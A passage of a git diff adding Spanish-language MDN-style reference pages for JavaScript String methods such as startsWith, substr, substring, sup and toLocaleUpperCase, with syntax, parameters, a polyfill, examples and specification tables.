+<pre class="syntaxbox notranslate"><var>str</var>.startsWith(<var>stringBuscada</var>[, <var>posicion</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>stringBuscada</var></code></dt>
+ <dd>Los caracteres a ser buscados al inicio de la cadena de texto.</dd>
+ <dt><code><var>posicion</var></code> {{optional_inline}}</dt>
+ <dd>La posición de <code><em>str</em></code> en la cual debe comenzar la búsqueda de <code>stringBuscada</code>. El valor por defecto es <code>0</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><strong><code>true</code></strong> si los caracteres dados se encuentran al inicio de la cadena de texto; <strong><code>false</code></strong> en cualquier otro caso.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Este método te permite saber si una cadena de texto comienza o no con otra cadena de texto. Este método distingue entre mayúsculas y minúsculas.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este método se ha añadido a la especificación ECMAScript 2015 y podría no estar disponible aún en todas las implementaciones de JavaScript. Sin embargo, puedes utilizar un <em>polyfill</em> de <code>String.prototype.startsWith()</code> con el siguiente fragmento de código:</p>
+
+<pre class="brush: js notranslate">if (!String.prototype.startsWith) {
+    Object.defineProperty(String.prototype, 'startsWith', {
+        value: function(search, rawPos) {
+            var pos = rawPos &gt; 0 ? rawPos|0 : 0;
+            return this.substring(pos, pos + search.length) === search;
+        }
+    });
+}
+</pre>
+
+<p>Un <em>polyfill</em> más robusto (totalmente compatible con la especificación ES2015), pero con menos rendimiento y menos compacto está disponible <a href="https://github.com/mathiasbynens/String.prototype.startsWith">en GitHub, por Mathias Bynens</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_startsWith">Usando <code>startsWith()</code></h3>
+
+<pre class="brush: js notranslate">//startswith
+var str = 'Ser, o no ser. ¡Esa es la cuestión!';
+
+console.log(str.startsWith('Ser'));           // true
+console.log(str.startsWith('no ser'));        // false
+console.log(str.startsWith('Esa es la', 16)); // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("javascript.builtins.String.startsWith")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/strike/index.html b/files/es/web/javascript/referencia/objetos_globales/string/strike/index.html
new file mode 100644
index 0000000000..20ba5e9c90
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/strike/index.html
@@ -0,0 +1,42 @@
+---
+title: String.prototype.strike()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/strike
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/strike
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<p>{{deprecated_header}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Causa que una cadena se muestre como texto tachado, como si estuviese dentro de una etiqueta {{HTMLElement("strike")}}.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.strike()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>strike</code> para formatear y mostrar una cadena en un documento.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena" name="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena">Ejemplo: Usando métodos de <code>string</code> para cambiar el formateado de una cadena</h3>
+<p>El siguiente ejemplo usa los métodos de <code>string</code> para cambiar el formateado de una cadena:</p>
+<pre class="brush: js">var cadenaMundo="¡Hola mundo!"
+
+console.log(cadenaMundo.blink())
+console.log(cadenaMundo.bold())
+console.log(cadenaMundo.italics())
+console.log(cadenaMundo.strike())
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">&lt;blink&gt;¡Hola mundo!&lt;/blink&gt;
+&lt;b&gt;¡Hola mundo!&lt;/b&gt;
+&lt;i&gt;¡Hola mundo!&lt;/i&gt;
+&lt;strike&gt;¡Hola mundo!&lt;/strike&gt;
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/sub/index.html b/files/es/web/javascript/referencia/objetos_globales/string/sub/index.html
new file mode 100644
index 0000000000..195bca9d1e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/sub/index.html
@@ -0,0 +1,35 @@
+---
+title: String.prototype.sub()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/sub
+tags:
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sub
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Causa que una cadena se muestre como subíndice, como si estuviese dentro de una etiqueta {{HTMLElement("sub")}}.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.sub()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>sub</code> junto para formatear y mostrar una cadena en un documento.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_los_m.C3.A9todos_sub_y_sup_para_formatear_una_cadena" name="Ejemplo:_Usando_los_m.C3.A9todos_sub_y_sup_para_formatear_una_cadena">Ejemplo: Usando los métodos <code>sub</code> y <code>sup</code> para formatear una cadena</h3>
+<p>El siguiente ejemplo usa los métodos <code>sub</code> y <code>sup</code> para formatear una cadena:</p>
+<pre class="brush: js">var superText="superscript"
+var subText="subscript"
+
+console.log("Esto es lo que un " + superText.sup() + " parece.")
+console.log("Esto es lo que un " + subText.sub() + " parece.")
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">Esto es lo que &lt;sup&gt;superscript&lt;/sup&gt; parece.
+Esto es lo que &lt;sub&gt;subscript&lt;/sub&gt; parece.
+</pre>
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+<ul>
+ <li>{{jsxref("String.prototype.sup()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/substr/index.html b/files/es/web/javascript/referencia/objetos_globales/string/substr/index.html
new file mode 100644
index 0000000000..290d1292ab
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/substr/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.substr()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/substr
+tags:
+  - JavaScript
+  - Método(2)
+  - Prototipo
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substr
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<div class="warning">Advertencia: Aunque <code>String.prototype.substr(…) </code><span style="font-size: 1.125rem;">no está estrictamente obsoleto (como en "eliminado de los estándares web"), se define en el anexo B de la norma ECMA-262, cuya introducción establece:</span>
+
+<blockquote>... Todas las características y comportamientos del lenguaje especificados en este anexo tienen una o más características indeseables y, en ausencia de uso heredado, se eliminarían de esta especificación. ... ... Los programadores no deben usar ni asumir la existencia de estas características y comportamientos al escribir un nuevo código ECMAScript.</blockquote>
+</div>
+
+<p> </p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <strong><code>substr()</code></strong> devuelve los caracteres de una cadena que comienzan en una localización especificada y de acuerdo al número de caracteres que se especifiquen.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.substr(<em>inicio</em>[, <em>longitud</em>])</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>inicio</code></dt>
+ <dd>Localización en la cual se empiezan a extraer caracteres. Si se da un número negativo, se trata como <code>longCad + inicio</code> donde  <code>longCad</code> es la longitud de la cadena (por ejemplo, si <code>inicio</code> es -3 se trata como <code>longCad - 3</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>longitud</code></dt>
+ <dd>Opcional. El número de caracteres a extraer. Si este argumento es {{jsxref("undefined")}}, todos los caracteres desde <code><em>inicio</em></code> hasta el final de la cadena serán extraidos.</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Una nueva cadena que contiende la sección extraída de la cadena dada. Sí la longitud es 0 o un número negativo, retorna la cadena vacía.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>inicio</code> es el índice de un carácter. El índice del primer carácter es 0, y el índice del último carácter es la longitud de la cadena menos 1. <code>substr</code> comienza extrayendo caracteres a partir de <code>inicio</code> y recolecta <code>longitud</code>  caracteres (a menos que se alcance primero el final de la cadena, en cuyo caso devuelve menos).</p>
+
+<p>Si <code>inicio</code> es positivo y es mayor o igual que la longitud de la cadena, <code>substr()</code> devuelve una cadena vacía.</p>
+
+<p>Si <code>inicio</code> es negativo, <code>substr()</code> lo usa como un índice de carácter desde el final de la cadena. Si <code>inicio</code> es negativo y <code>abs(inicio)</code> es mayor que la longitud de la cadena, <code>substr</code> usa 0 como índice inical. Nota: el uso descrito de valores negativos del argumento <code>inicio</code> no es soportado por Microsoft JScript <a class="external" href="http://msdn2.microsoft.com/en-us/library/0esxc5wy.aspx">. </a></p>
+
+<p>Si <code>longitud</code> es 0 o negativa, <code>substr</code> devuelve una cadena vacía. Si se omite <code>longitud</code>, <code>inicio</code> extrae caracteres hasta el final de la cadena.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_substr" name="Ejemplo:_Usando_substr">Ejemplo: Uso de <code>substr()</code></h3>
+
+<pre class="brush: js">var cadena = "abcdefghij";
+
+console.log("(1,2): "    + cadena.substr(1,2));   <code>// '(1, 2): bc'</code>
+console.log("(-3,2): "   + cadena.substr(-3,2));  <code>// '(-3, 2): hi'</code>
+console.log("(-3): "     + cadena.substr(-3));    // '(-3): hij'
+console.log("(1): "      + cadena.substr(1));     // '(1): bcdefghij'
+console.log("(-20, 2): " + cadena.substr(-20,2)); // '(-20, 2): ab'
+console.log("(20, 2): "  + cadena.substr(20,2));  // '(20, 2): '
+</pre>
+
+<p>Este script muestra:</p>
+
+<pre class="eval">(1,2): bc
+(-3,2): hi
+(-3): hij
+(1): bcdefghij
+(-20, 2): ab
+(20, 2):
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/substring/index.html b/files/es/web/javascript/referencia/objetos_globales/string/substring/index.html
new file mode 100644
index 0000000000..9918417f95
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/substring/index.html
@@ -0,0 +1,92 @@
+---
+title: String.prototype.substring()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/substring
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substring
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El <strong><code>substring()</code></strong> método devuelve un subconjunto de un objeto <code>String</code>.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.substring(<em>indiceA</em>[, <em>indiceB</em>'])</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>indiceA</code></dt>
+ <dd>Un entero entre 0 y la longitud de la cadena menos 1.</dd>
+ <dt><code>indiceB</code></dt>
+ <dd>(opcional) Un entero entre 0 y la longitud de la cadena.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>substring</code> extrae caracteres desde <code>indiceA</code> hasta <code>indiceB</code> sin incluirlo. En particular:</p>
+
+<ul>
+ <li>Si <code>indiceA</code> es igual a <code>indiceB</code>, <code>substring</code> devuelve una cadena vacía.</li>
+ <li>Si se omite el <code>indiceB</code>, <code>substring</code> extrae caracteres hasta el final de la cadena.</li>
+ <li>Si el argumento es menor que 0 o es <code>NaN</code>, se trata como si fuese 0.</li>
+ <li>Si el argumento es mayor que <code>nombreCadena.length</code>, se trata como si fuese <code>nombreCadena.length</code>.</li>
+</ul>
+
+<p>Si <code>indiceA</code> es mayor que <code>indiceB</code>, entonces el efecto de <code>substring</code> es como si los dos argumentos se intercambiasen; por ejemplo, <code><em>cadena</em>.substring(1, 0) == <em>cadena</em>.substring(0, 1)</code>.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_substring" name="Ejemplo:_Usando_substring">Ejemplo: Usando <code>substring</code></h3>
+
+<p>El siguiente ejemplo usa <code>substring</code> para mostrar caracteres de la cadena "<code>Mozilla</code>":</p>
+
+<pre class="brush:js">// asume una función print ya definida
+var cualquierCadena = "Mozilla";
+
+// Muestra "Moz"
+print(cualquierCadena.substring(0,3));
+print(cualquierCadena.substring(3,0));
+
+// Muestra "lla"
+print(cualquierCadena.substring(4,7));
+print(cualquierCadena.substring(7,4));
+
+// Muestra "Mozill"
+print(cualquierCadena.substring(0,6));
+print(cualquierCadena.substring(6,0));
+
+// Muestra "Mozilla"
+print(cualquierCadena.substring(0,7));
+print(cualquierCadena.substring(0,10));
+</pre>
+
+<h3 id="Ejemplo:_Reemplazar_una_subcadena_dentro_de_una_cadena" name="Ejemplo:_Reemplazar_una_subcadena_dentro_de_una_cadena">Ejemplo: Reemplazar una subcadena dentro de una cadena</h3>
+
+<p>El siguiente ejemplo reemplaza una subcadena dentro de una cadena. Reemplazará tanto caracteres individuales como subcadenas. La llamada de la función al final del ejemplo cambia la cadena "<code>Bravo Nuevo Mundo</code>" por "<code>Bravo Nueva Web</code>".</p>
+
+<pre class="brush:js">function reemplazarCadena(cadenaVieja, cadenaNueva, cadenaCompleta) {
+// Reemplaza cadenaVieja por cadenaNueva en cadenaCompleta
+
+   for (var i = 0; i &lt; cadenaCompleta.length; i++) {
+      if (cadenaCompleta.substring(i, i + cadenaVieja.length) == cadenaVieja) {
+         cadenaCompleta= cadenaCompleta.substring(0, i) + cadenaNueva + cadenaCompleta.substring(i + cadenaVieja.length, cadenaCompleta.length);
+      }
+   }
+   return cadenaCompleta;
+}
+
+reemplazarCadena("Mundo", "Web", "Bravo Nuevo Mundo");
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/sup/index.html b/files/es/web/javascript/referencia/objetos_globales/string/sup/index.html
new file mode 100644
index 0000000000..6b8db218b6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/sup/index.html
@@ -0,0 +1,35 @@
+---
+title: String.prototype.sup()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/sup
+tags:
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sup
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Causa que una cadena se muestre como superíndice, como si estuviese dentro de una etiqueta {{HTMLElement("sup")}}.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.sup()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>sup</code> junto para formatear y mostrar una cadena en un documento.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_los_m.C3.A9todos_sub_y_sup_para_formatear_una_cadena" name="Ejemplo:_Usando_los_m.C3.A9todos_sub_y_sup_para_formatear_una_cadena">Ejemplo: Usando los métodos <code>sub</code> y <code>sup</code> para formatear una cadena</h3>
+<p>El siguiente ejemplo usa los métodos <code>sub</code> y <code>sup</code> para formatear una cadena:</p>
+<pre class="brush: js">var textoSuper="superscript"
+var textoSub="subscript"
+
+console.log("Esto es lo que un " + textoSuper.sup() + " parece.")
+console.log("Esto es lo que un " + textoSub.sub() + " parece.")
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">Esto es lo que &lt;sup&gt;superscript&lt;/sup&gt; parece.
+Esto es lo que &lt;sub&gt;subscript&lt;/sub&gt; parece.
+</pre>
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+<ul>
+ <li>{{jsxref("String.prototype.sub()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/tolocalelowercase/index.html b/files/es/web/javascript/referencia/objetos_globales/string/tolocalelowercase/index.html
new file mode 100644
index 0000000000..5c1eae2144
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/tolocalelowercase/index.html
@@ -0,0 +1,113 @@
+---
+title: String.prototype.toLocaleLowerCase()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/toLocaleLowerCase
+tags:
+  - Cadena
+  - Internacionalizacion
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase
+---
+<div>{{JSRef}}</div>
+
+<div>El método <strong><code>toLocaleLowerCase()</code> </strong>retorna la cadena de texto desde la que se llama convertida en minúsculas, de acuerdo con cualquier localización específica de correspondencia de mayúsculas y minúsculas.</div>
+
+<div> </div>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolocalelowercase.html")}}</div>
+
+<p class="hidden">Los fuentes para este ejemplo interactivo están almacenados en un repositorio GitHub. Si quieres contribuir en el proyecto de ejemplos interactivos, por favor clona https://github.com/mdn/interactive-examples y envíanos un pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>str</var>.toLocaleLowerCase()
+<var>str</var>.toLocaleLowerCase(locale)
+<var>str</var>.toLocaleLowerCase([locale, locale, ...])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>locale</code> {{optional_inline}}</dt>
+ <dd>El parámetro <code>locale</code> indica la localización que se utilizará para convertir a minúsculas de acuerdo con culalquier correspondencia de mayúsculas y minúsculas. Si se proporcionan múltiples locales en un {{jsxref("Array")}}, se utiliza <a href="https://tc39.github.io/ecma402/#sec-bestavailablelocale">el mejor local disponible</a>. La localización por defecto es la localización actual configurada en el <em>host</em>.</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Una nueva cadena que representa la cadena desde la que se llama convertida a minúsculas, de acuerdo con cualquier localización específica de correspondencia de mayúsculas y minúsculas.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li>Una excepción de tipo {{jsxref("RangeError")}} ("invalid language tag: xx_yy") se lanzará si el argumento <code>locale</code> no es una etiqueta válida de lenguaje.</li>
+ <li>Una excepción de tipo {{jsxref("TypeError")}} ("invalid element in locales argument") se lanzará si un elemento del arreglo no es del tipo cadena.</li>
+</ul>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>toLocaleLowerCase()</code><strong> </strong>retorna la cadena de texto desde la que se llama convertida en minúsculas, de acuerdo con cualquier localización específica de correspondencia de mayúsculas y minúsculas.  <code>toLocaleLowerCase()</code> no afecta el valor de la cadena desde la que se llama. En la mayoría de los casos, producirá el mismo resultado que {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}, pero para algunos locales, como el turco, cuyas correspondencias de mayúsculas y minúsculas no siguen las correpsondencias por defecto de Unicode, podría producir de un resultado diferente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_toLocaleLowerCase()">Utilizando <code>toLocaleLowerCase()</code></h3>
+
+<pre class="brush: js">'ALPHABET'.toLocaleLowerCase(); // 'alphabet'
+
+'\u0130'.toLocaleLowerCase('tr') === 'i';    // true
+'\u0130'.toLocaleLowerCase('en-US') === 'i'; // false
+
+let locales = ['tr', 'TR', 'tr-TR', 'tr-u-co-search', 'tr-x-turkish'];
+'\u0130'.toLocaleLowerCase(locales) === 'i'; // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>ES Intl 2017 added the <code>locale</code> parameter.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta pádina se gnera desde datos estructurados. Si quieres contribuir a estos datos, por favor obtén <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toLocaleLowerCase")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/tolocaleuppercase/index.html b/files/es/web/javascript/referencia/objetos_globales/string/tolocaleuppercase/index.html
new file mode 100644
index 0000000000..7199ca3ae5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/tolocaleuppercase/index.html
@@ -0,0 +1,100 @@
+---
+title: String.prototype.toLocaleUpperCase()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/toLocaleUpperCase
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toLocaleUpperCase()</code></strong> devuelve el valor de la cadena que lo llama convertido en mayúsculas, de acuerdo con las asignaciones de casos específicos de la configuración regional.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox"><var>str</var>.toLocaleUpperCase()
+<var>str</var>.toLocaleUpperCase(locale)
+<var>str</var>.toLocaleUpperCase([locale, locale, ...])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>locale</code> {{optional_inline}}</dt>
+ <dd>El parámetro <code>locale</code> indica la configuración regional que se va a utilizar para convertir en mayúsculas según las asignaciones de casos específicos de la configuración regional. Si se proporcionan varios locales en un {{jsxref ("Array")}}, se utiliza la mejor configuración regional disponible. La configuración regional predeterminada es la configuración regional actual del entorno de host.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una nueva cadena que representa la cadena de llamada convertida en mayúsculas, de acuerdo con cualquier asignación de mayúsculas de idioma específico.</p>
+
+<h3 id="Exceciones">Exceciones</h3>
+
+<ul>
+ <li>Un {{jsxref("RangeError")}} ("invalid language tag: xx_yy") se arroja si un argumento de configuración regional no es una etiqueta de idioma válida.</li>
+ <li>Un {{jsxref("TypeError")}} ("invalid element in locales argument")  se lanzará si un elemento de matriz no es de tipo cadena.</li>
+</ul>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>toLocaleUpperCase()</code> devuelve el valor de la cadena convertida en mayúsculas según las asignaciones de casos específicos de la configuración regional. <code>toLocaleUpperCase()</code> no afecta al valor de la cadena en sí. En la mayoría de los casos, esto producirá el mismo resultado que {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}, pero para algunas localidades, como turco, cuyas asignaciones de mayúsculas y minúsculas no siguen la mayúsculas y minúsculas en Unicode, puede haber un resultado diferente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toLocaleUpperCase()">Usando <code>toLocaleUpperCase()</code></h3>
+
+<pre class="brush: js">'alphabet'.toLocaleUpperCase(); // 'ALPHABET'
+
+'i\u0307'.toLocaleUpperCase('lt-LT'); // 'I'
+
+let locales = ['lt', 'LT', 'lt-LT', 'lt-u-co-phonebk', 'lt-x-lietuva'];
+'i\u0307'.toLocaleUpperCase(locales); // 'I'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>ES Intl 2017 added the <code>locale</code> parameter.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toLocaleUpperCase")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/tolowercase/index.html b/files/es/web/javascript/referencia/objetos_globales/string/tolowercase/index.html
new file mode 100644
index 0000000000..8060f3dd1c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/tolowercase/index.html
@@ -0,0 +1,40 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/toLowerCase
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <strong><code>toLowerCase()</code></strong> devuelve el valor <strong>en minúsculas </strong>de la cadena que realiza la llamada.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
